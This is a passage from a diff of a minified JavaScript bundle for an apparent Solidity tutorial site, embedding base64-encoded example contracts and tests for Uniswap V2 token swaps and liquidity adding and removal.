                    `,GA=({prev:s,next:a})=>i.jsx(u,{version:wA,title:kA,description:ZA,html:BA,prev:s,next:a,codes:WA}),fA="0.8.20",VA="Uniswap V2 Swap",vA="Uniswap V2 swap",YA=[{fileName:"UniswapV2SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuaXN3YXBWMlN3YXBFeGFtcGxlcyB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9ST1VURVIgPQogICAgICAgIDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFB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E1pbiwKICAgICAgICAgICAgcGF0aCwKICAgICAgICAgICAgbXNnLnNlbmRlciwKICAgICAgICAgICAgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKCiAgICAgICAgLy8gYW1vdW50c1swXSA9IFdFVEggYW1vdW50LCBhbW91bnRzWzFdID0gREFJIGFtb3VudAogICAgICAgIHJldHVybiBhbW91bnRzWzFdOwogICAgfQoKICAgIC8vIFN3YXAgREFJIC0+IFdFVEggLT4gVVNEQwogICAgZnVuY3Rpb24gc3dhcE11bHRpSG9wRXhhY3RBbW91bnRJbigKICAgICAgICB1aW50IGFtb3VudEluLAogICAgICAgIHVpbnQgYW1vdW50T3V0TWluCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQgYW1vdW50T3V0KSB7CiAgICAgICAgZGFpLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbik7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIGFkZHJlc3NbXSBtZW1vcnkgcGF0aDsKICAgICAgICBwYXRoID0gbmV3IGFkZHJlc3NbXSgzKTsKICAgICAgICBwYXRoWzBdID0gREFJOwogICAgICAgIHBhdGhbMV0gPSBXRVRIOwogICAgICAgIHBhdGhbMl0gPSBVU0RDOwoKICAgICAgICB1aW50W10gbWVtb3J5IGFtb3VudHMgPSByb3V0ZXIuc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgICAgICBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluLAogICAgICAgICAgICBwYXRoLAogICAgICAgICAgICBtc2cuc2VuZGVyLAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAKICAgICAgICApOwoKICAgICAgICAvLyBhbW91bnRzWzBdID0gREFJIGFtb3VudAogICAgICAgIC8vIGFtb3VudHNbMV0gPSBXRVRIIGFtb3VudAogICAgICAgIC8vIGFtb3VudHNbMl0gPSBVU0RDIGFtb3VudAogICAgICAgIHJldHVybiBhbW91bnRzWzJdOwogICAgfQoKICAgIC8vIFN3YXAgV0VUSCB0byBEQUkKICAgIGZ1bmN0aW9uIHN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudE91dCgKICAgICAgICB1aW50IGFtb3VudE91dERlc2lyZWQsCiAgICAgICAgdWludCBhbW91bnRJbk1heAogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudE91dCkgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluTWF4KTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbk1heCk7CgogICAgICAgIGFkZHJlc3NbXSBtZW1vcnkgcGF0aDsKICAgICAgICBwYXRoID0gbmV3IGFkZHJlc3NbXSgyKTsKICAgICAgICBwYXRoWzBdID0gV0VUSDsKICAgICAgICBwYXRoWzFdID0gREFJOwoKICAgICAgICB1aW50W10gbWVtb3J5IGFtb3VudHMgPSByb3V0ZXIuc3dhcFRva2Vuc0ZvckV4YWN0VG9rZW5zKAogICAgICAgICAgICBhbW91bnRPdXREZXNpcmVkLAogICAgICAgICAgICBhbW91bnRJbk1heCwKICAgICAgICAgICAgcGF0aCwKICAgICAgICAgICAgbXNnLnNlbmRlciwKICAgICAgICAgICAgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKCiAgICAgICAgLy8gUmVmdW5kIFdFVEggdG8gbXNnLnNlbmRlcgogICAgICAgIGlmIChhbW91bnRzWzBdIDwgYW1vdW50SW5NYXgpIHsKICAgICAgICAgICAgd2V0aC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRJbk1heCAtIGFtb3VudHNbMF0pOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIGFtb3VudHNbMV07CiAgICB9CgogICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICBmdW5jdGlvbiBzd2FwTXVsdGlIb3BFeGFjdEFtb3VudE91dCgKICAgICAgICB1aW50IGFtb3VudE91dERlc2lyZWQsCiAgICAgICAgdWludCBhbW91bnRJbk1heAogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudE91dCkgewogICAgICAgIGRhaS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW5NYXgpOwogICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBhZGRyZXNzW10gbWVtb3J5IHBhdGg7CiAgICAgICAgcGF0aCA9IG5ldyBhZGRyZXNzW10oMyk7CiAgICAgICAgcGF0aFswXSA9IERBSTsKICAgICAgICBwYXRoWzFdID0gV0VUSDsKICAgICAgICBwYXRoWzJdID0gVVNEQzsKCiAgICAgICAgdWludFtdIG1lbW9yeSBhbW91bnRzID0gcm91dGVyLnN3YXBUb2tlbnNGb3JFeGFjdFRva2VucygKICAgICAgICAgICAgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICAgICAgYW1vdW50SW5NYXgsCiAgICAgICAgICAgIHBhdGgsCiAgICAgICAgICAgIG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIFJlZnVuZCBEQUkgdG8gbXNnLnNlbmRlcgogICAgICAgIGlmIChhbW91bnRzWzBdIDwgYW1vdW50SW5NYXgpIHsKICAgICAgICAgICAgZGFpLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudEluTWF4IC0gYW1vdW50c1swXSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gYW1vdW50c1syXTsKICAgIH0KfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJSb3V0ZXIgewogICAgZnVuY3Rpb24gc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zK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LmFwcHJvdmUoYWRkcmVzcyh1bmkpLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgdWludCBkYWlBbW91bnRNaW4gPSAxOwogICAgICAgIHVuaS5zd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRJbih3ZXRoQW1vdW50LCBkYWlBbW91bnRNaW4pOwoKICAgICAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgICAgICB1aW50IGRhaUFtb3VudEluID0gMWUxODsKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHVuaSksIGRhaUFtb3VudEluKTsKCiAgICAgICAgdWludCB1c2RjQW1vdW50T3V0TWluID0gMTsKICAgICAgICB1aW50IHVzZGNBbW91bnRPdXQgPSB1bmkuc3dhcE11bHRpSG9wRXhhY3RBbW91bnRJbigKICAgICAgICAgICAgZGFpQW1vdW50SW4sCiAgICAgICAgICAgIHVzZGNBbW91bnRPdXRNaW4KICAgICAgICApOwoKICAgICAgICBjb25zb2xlLmxvZygiVVNEQyIsIHVzZGNBbW91bnRPdXQpOwogICAgICAgIGFzc2VydEdlKHVzZGNBbW91bnRPdXQsIHVzZGNBbW91bnRPdXRNaW4sICJhbW91bnQgb3V0IDwgbWluIik7CiAgICB9CgogICAgLy8gU3dhcCBXRVRIIC0+IERBSQogICAgZnVuY3Rpb24gdGVzdFN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudE91dCgpIHB1YmxpYyB7CiAgICAgICAgdWludCB3ZXRoQW1vdW50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIHVpbnQgZGFpQW1vdW50RGVzaXJlZCA9IDFlMTg7CiAgICAgICAgdWludCBkYWlBbW91bnRPdXQgPSB1bmkuc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgICAgICB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E91dERlc2lyZWQsICJhbW91bnQgb3V0ICE9IGFtb3VudCBvdXQgZGVzaXJlZCIpOwogICAgfQp9Cg=="}],RA=`

                    swapExactTokensForTokens sells all tokens for another.

                    +`,vA=({prev:s,next:a})=>i.jsx(u,{version:WA,title:BA,description:GA,html:VA,prev:s,next:a,codes:fA}),YA="0.8.20",RA="Uniswap V2 Swap",XA="Uniswap V2 swap",HA=[{fileName:"UniswapV2SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuaXN3YXBWMlN3YXBFeGFtcGxlcyB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9ST1VURVIgPQogICAgICAgIDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CgogICAgSVVuaXN3YXBWMlJvdXRlciBwcml2YXRlIHJvdXRlciA9IElVbmlzd2FwVjJSb3V0ZXIoVU5JU1dBUF9WMl9ST1VURVIpOwogICAgSUVSQzIwIHByaXZhdGUgd2V0aCA9IElFUkMyMChXRVRIKTsKICAgIElFUkMyMCBwcml2YXRlIGRhaSA9IElFUkMyMChEQUkpOwoKICAgIC8vIFN3YXAgV0VUSCB0byBEQUkKICAgIGZ1bmN0aW9uIHN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKAogICAgICAgIHVpbnQgYW1vdW50SW4sCiAgICAgICAgdWludCBhbW91bnRPdXRNaW4KICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnRPdXQpIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbik7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW4pOwoKICAgICAgICBhZGRyZXNzW10gbWVtb3J5IHBhdGg7CiAgICAgICAgcGF0aCA9IG5ldyBhZGRyZXNzW10oMik7CiAgICAgICAgcGF0aFswXSA9IFdFVEg7CiAgICAgICAgcGF0aFsxXSA9IERBSTsKCiAgICAgICAgdWludFtdIG1lbW9yeSBhbW91bnRzID0gcm91dGVyLnN3YXBFeGFjdFRva2Vuc0ZvclRva2VucygKICAgICAgICAgICAgYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbiwKICAgICAgICAgICAgcGF0aCwKICAgICAgICAgICAgbXNnLnNlbmRlciwKICAgICAgICAgICAgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKCiAgICAgICAgLy8gYW1vdW50c1swXSA9IFdFVEggYW1vdW50LCBhbW91bnRzWzFdID0gREFJIGFtb3VudAogICAgICAgIHJldHVybiBhbW91bnRzWzFdOwogICAgfQoKICAgIC8vIFN3YXAgREFJIC0+IFdFVEggLT4gVVNEQwogICAgZnVuY3Rpb24gc3dhcE11bHRpSG9wRXhhY3RBbW91bnRJbigKICAgICAgICB1aW50IGFtb3VudEluLAogICAgICAgIHVpbnQgYW1vdW50T3V0TWluCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQgYW1vdW50T3V0KSB7CiAgICAgICAgZGFpLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbik7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIGFkZHJlc3NbXSBtZW1vcnkgcGF0aDsKICAgICAgICBwYXRoID0gbmV3IGFkZHJlc3NbXSgzKTsKICAgICAgICBwYXRoWzBdID0gREFJOwogICAgICAgIHBhdGhbMV0gPSBXRVRIOwogICAgICAgIHBhdGhbMl0gPSBVU0RDOwoKICAgICAgICB1aW50W10gbWVtb3J5IGFtb3VudHMgPSByb3V0ZXIuc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgICAgICBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluLAogICAgICAgICAgICBwYXRoLAogICAgICAgICAgICBtc2cuc2VuZGVyLAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAKICAgICAgICApOwoKICAgICAgICAvLyBhbW91bnRzWzBdID0gREFJIGFtb3VudAogICAgICAgIC8vIGFtb3VudHNbMV0gPSBXRVRIIGFtb3VudAogICAgICAgIC8vIGFtb3VudHNbMl0gPSBVU0RDIGFtb3VudAogICAgICAgIHJldHVybiBhbW91bnRzWzJdOwogICAgfQoKICAgIC8vIFN3YXAgV0VUSCB0byBEQUkKICAgIGZ1bmN0aW9uIHN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudE91dCgKICAgICAgICB1aW50IGFtb3VudE91dERlc2lyZWQsCiAgICAgICAgdWludCBhbW91bnRJbk1heAogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudE91dCkgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluTWF4KTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbk1heCk7CgogICAgICAgIGFkZHJlc3NbXSBtZW1vcnkgcGF0aDsKICAgICAgICBwYXRoID0gbmV3IGFkZHJlc3NbXSgyKTsKICAgICAgICBwYXRoWzBdID0gV0VUSDsKICAgICAgICBwYXRoWzFdID0gREFJOwoKICAgICAgICB1aW50W10gbWVtb3J5IGFtb3VudHMgPSByb3V0ZXIuc3dhcFRva2Vuc0ZvckV4YWN0VG9rZW5zKAogICAgICAgICAgICBhbW91bnRPdXREZXNpcmVkLAogICAgICAgICAgICBhbW91bnRJbk1heCwKICAgICAgICAgICAgcGF0aCwKICAgICAgICAgICAgbXNnLnNlbmRlciwKICAgICAgICAgICAgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKCiAgICAgICAgLy8gUmVmdW5kIFdFVEggdG8gbXNnLnNlbmRlcgogICAgICAgIGlmIChhbW91bnRzWzBdIDwgYW1vdW50SW5NYXgpIHsKICAgICAgICAgICAgd2V0aC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRJbk1heCAtIGFtb3VudHNbMF0pOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIGFtb3VudHNbMV07CiAgICB9CgogICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICBmdW5jdGlvbiBzd2FwTXVsdGlIb3BFeGFjdEFtb3VudE91dCgKICAgICAgICB1aW50IGFtb3VudE91dERlc2lyZWQsCiAgICAgICAgdWludCBhbW91bnRJbk1heAogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudE91dCkgewogICAgICAgIGRhaS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW5NYXgpOwogICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBhZGRyZXNzW10gbWVtb3J5IHBhdGg7CiAgICAgICAgcGF0aCA9IG5ldyBhZGRyZXNzW10oMyk7CiAgICAgICAgcGF0aFswXSA9IERBSTsKICAgICAgICBwYXRoWzFdID0gV0VUSDsKICAgICAgICBwYXRoWzJdID0gVVNEQzsKCiAgICAgICAgdWludFtdIG1lbW9yeSBhbW91bnRzID0gcm91dGVyLnN3YXBUb2tlbnNGb3JFeGFjdFRva2VucygKICAgICAgICAgICAgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICAgICAgYW1vdW50SW5NYXgsCiAgICAgICAgICAgIHBhdGgsCiAgICAgICAgICAgIG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIFJlZnVuZCBEQUkgdG8gbXNnLnNlbmRlcgogICAgICAgIGlmIChhbW91bnRzWzBdIDwgYW1vdW50SW5NYXgpIHsKICAgICAgICAgICAgZGFpLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudEluTWF4IC0gYW1vdW50c1swXSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gYW1vdW50c1syXTsKICAgIH0KfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJSb3V0ZXIgewogICAgZnVuY3Rpb24gc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgIHVpbnQgYW1vdW50SW4sCiAgICAgICAgdWludCBhbW91bnRPdXRNaW4sCiAgICAgICAgYWRkcmVzc1tdIGNhbGxkYXRhIHBhdGgsCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnRbXSBtZW1vcnkgYW1vdW50cyk7CgogICAgZnVuY3Rpb24gc3dhcFRva2Vuc0ZvckV4YWN0VG9rZW5zKAogICAgICAgIHVpbnQgYW1vdW50T3V0LAogICAgICAgIHVpbnQgYW1vdW50SW5NYXgsCiAgICAgICAgYWRkcmVzc1tdIGNhbGxkYXRhIHBhdGgsCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnRbXSBtZW1vcnkgYW1vdW50cyk7Cn0KCmludGVyZmFjZS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3ZXRoQW1vdW50KTsKCiAgICAgICAgdWludCBkYWlBbW91bnRNaW4gPSAxOwogICAgICAgIHVpbnQgZGFpQW1vdW50T3V0ID0gdW5pLnN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKHdldGhBbW91bnQsIGRhaUFtb3VudE1pbik7CgogICAgICAgIGNvbnNvbGUubG9nKCJEQUkiLCBkYWlBbW91bnRPdXQpOwogICAgICAgIGFzc2VydEdlKGRhaUFtb3VudE91dCwgZGFpQW1vdW50TWluLCAiYW1vdW50IG91dCA8IG1pbiIpOwogICAgfQoKICAgIC8vIFN3YXAgREFJIC0+IFdFVEggLT4gVVNEQwogICAgZnVuY3Rpb24gdGVzdFN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4oKSBwdWJsaWMgewogICAgICAgIC8vIFN3YXAgV0VUSCAtPiBEQUkKICAgICAgICB1aW50IHdldGhBbW91bnQgPSAxZTE4OwogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogd2V0aEFtb3VudH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgdWludCBkYWlBbW91bnRNaW4gPSAxOwogICAgICAgIHVuaS5zd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRJbih3ZXRoQW1vdW50LCBkYWlBbW91bnRNaW4pOwoKICAgICAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgICAgICB1aW50IGRhaUFtb3VudEluID0gMWUxODsKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHVuaSksIGRhaUFtb3VudEluKTsKCiAgICAgICAgdWludCB1c2RjQW1vdW50T3V0TWluID0gMTsKICAgICAgICB1aW50IHVzZGNBbW91bnRPdXQgPSB1bmkuc3dhcE11bHRpSG9wRXhhY3RBbW91bnRJbigKICAgICAgICAgICAgZGFpQW1vdW50SW4sCiAgICAgICAgICAgIHVzZGNBbW91bnRPdXRNaW4KICA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cm92ZShhZGRyZXNzKHVuaSksIHdldGhBbW91bnQpOwoKICAgICAgICAvLyBCdXkgMTAwIERBSQogICAgICAgIHVpbnQgZGFpQW1vdW50T3V0ID0gMTAwICogMWUxODsKICAgICAgICB1bmkuc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50T3V0KGRhaUFtb3VudE91dCwgd2V0aEFtb3VudCk7CgogICAgICAgIC8vIFN3YXAgREFJIC0+IFdFVEggLT4gVVNEQwogICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3ModW5pKSwgZGFpQW1vdW50T3V0KTsKCiAgICAgICAgdWludCBhbW91bnRPdXREZXNpcmVkID0gMWU2OwogICAgICAgIHVpbnQgYW1vdW50T3V0ID0gdW5pLnN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KGFtb3VudE91dERlc2lyZWQsIGRhaUFtb3VudE91dCk7CgogICAgICAgIGNvbnNvbGUubG9nKCJVU0RDIiwgYW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRFcShhbW91bnRPdXQsIGFtb3VudE91dERlc2lyZWQsICJhbW91bnQgb3V0ICE9IGFtb3VudCBvdXQgZGVzaXJlZCIpOwogICAgfQp9Cg=="}],FA=`

                    swapExactTokensForTokens sells all tokens for another.

                    swapTokensForExactTokens buys specific amount of tokens set by the caller.

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.20;
                    @@ -5084,7 +5084,7 @@ Topics
                             assertEq(amountOut, amountOutDesired, "amount out != amount out desired");
                         }
                     }
                    -
                    `,XA=({prev:s,next:a})=>i.jsx(u,{version:fA,title:VA,description:vA,html:RA,prev:s,next:a,codes:YA}),HA="0.8.20",FA="Uniswap V2 Add Remove Liquidity",NA="Uniswap V2 add remove liquidity",KA=[{fileName:"UniswapV2Liquidity.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuaXN3YXBWMkFkZExp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vdXRlcihST1VURVIpCiAgICAgICAgICAgIC5hZGRMaXF1aWRpdHkoCiAgICAgICAgICAgICAgICBfdG9rZW5BLAogICAgICAgICAgICAgICAgX3Rva2VuQiwKICAgICAgICAgICAgICAgIF9hbW91bnRBLAogICAgICAgICAgICAgICAgX2Ftb3VudEIsCiAgICAgICAgICAgICAgICAxLAogICAgICAgICAgICAgICAgMSwKICAgICAgICAgICAgICAgIGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgICAgICBibG9jay50aW1lc3RhbXAKICAgICAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIpIGV4dGVybmFsIHsKICAgICAgICBhZGRyZXNzIHBhaXIgPSBJVW5pc3dhcFYyRmFjdG9yeShGQUNUT1JZKS5nZXRQYWlyKF90b2tlbkEsIF90b2tlbkIpOwoKICAgICAgICB1aW50IGxpcXVpZGl0eSA9IElFUkMyMChwYWlyKS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgc2FmZUFwcHJvdmUoSUVSQzIwKHBhaXIpLCBST1VURVIsIGxpcXVpZGl0eSk7CgogICAgICAgICh1aW50IGFtb3VudEEsIHVpbnQgYW1vdW50QikgPSBJVW5pc3dhcFYyUm91dGVyKFJPVVRFUikucmVtb3ZlTGlxdWlkaXR5KAogICAgICAgICAgICBfdG9rZW5BLAogICAgICAgICAgICBfdG9rZW5CLAogICAgICAgICAgICBsaXF1aWRpdHksCiAgICAgICAgICAgIDEsCiAgICAgICAgICAgIDEsCiAgICAgICAgICAgIGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZGV2IFRoZSB0cmFuc2ZlckZyb20gZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAq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5kZXIsIHVpbnQgYW1vdW50KSBpbnRlcm5hbCB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJldHVybkRhdGEpID0gYWRkcmVzcyh0b2tlbikuY2FsbCgKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSUVSQzIwLmFwcHJvdmUsIChzcGVuZGVyLCBhbW91bnQpKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgc3VjY2VzcyAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiQXBwcm92ZSBmYWlsIgogICAgICAgICk7CiAgICB9Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyUm91dGVyIHsKICAgIGZ1bmN0aW9uIGFkZExpcXVpZGl0eSgKICAgICAgICBhZGRyZXNzIHRva2VuQSwKICAgICAgICBhZGRyZXNzIHRva2VuQiwKICAgICAgICB1aW50IGFtb3VudEFEZXNpcmVkLAogICAgICAgIHVpbnQgYW1vdW50QkRlc2lyZWQsCiAgICAgICAgdWludCBhbW91bnRBTWluLAogICAgICAgIHVpbnQgYW1vdW50Qk1pbiwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnRBLCB1aW50IGFtb3VudEIsIHVpbnQgbGlxdWlkaXR5KTsKCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkoCiAgICAgICAgYWRkcmVzcyB0b2tlbkEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkIsCiAgICAgICAgdWludCBsaXF1aWRpdHksCiAgICAgICAgdWludCBhbW91bnRBTWluLAogICAgICAgIHVpbnQgYW1vdW50Qk1pbiwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQgZGVhZGxpbmUKICAgICkgZXh0ZXJuY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AgICB9CgogICAgLyoqCiAgICAgKiBAZGV2IFRoZSBhcHByb3ZlIGZ1bmN0aW9uIG1heSBvciBtYXkgbm90IHJldHVybiBhIGJvb2wuCiAgICAgKiBUaGUgRVJDLTIwIHNwZWMgcmV0dXJucyBhIGJvb2wsIGJ1dCBzb21lIHRva2VucyBkb24ndCBmb2xsb3cgdGhlIHNwZWMuCiAgICAgKiBOZWVkIHRvIGNoZWNrIGlmIGRhdGEgaXMgZW1wdHkgb3IgdHJ1ZS4KICAgICAqLwogICAgZnVuY3Rpb24gc2FmZUFwcHJvdmUoSUVSQzIwIHRva2VuLCBhZGRyZXNzIHNwZW5kZXIsIHVpbnQgYW1vdW50KSBpbnRlcm5hbCB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJldHVybkRhdGEpID0gYWRkcmVzcyh0b2tlbikuY2FsbCgKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSUVSQzIwLmFwcHJvdmUsIChzcGVuZGVyLCBhbW91bnQpKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgc3VjY2VzcyAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiQXBwcm92ZSBmYWlsIgogICAgICAgICk7CiAgICB9Cn0K"}],SA=`

                    Add / Remove Liquidity

                    +`,NA=({prev:s,next:a})=>i.jsx(u,{version:YA,title:RA,description:XA,html:FA,prev:s,next:a,codes:HA}),KA="0.8.20",SA="Uniswap V2 Add Remove Liquidity",xA="Uniswap V2 add remove 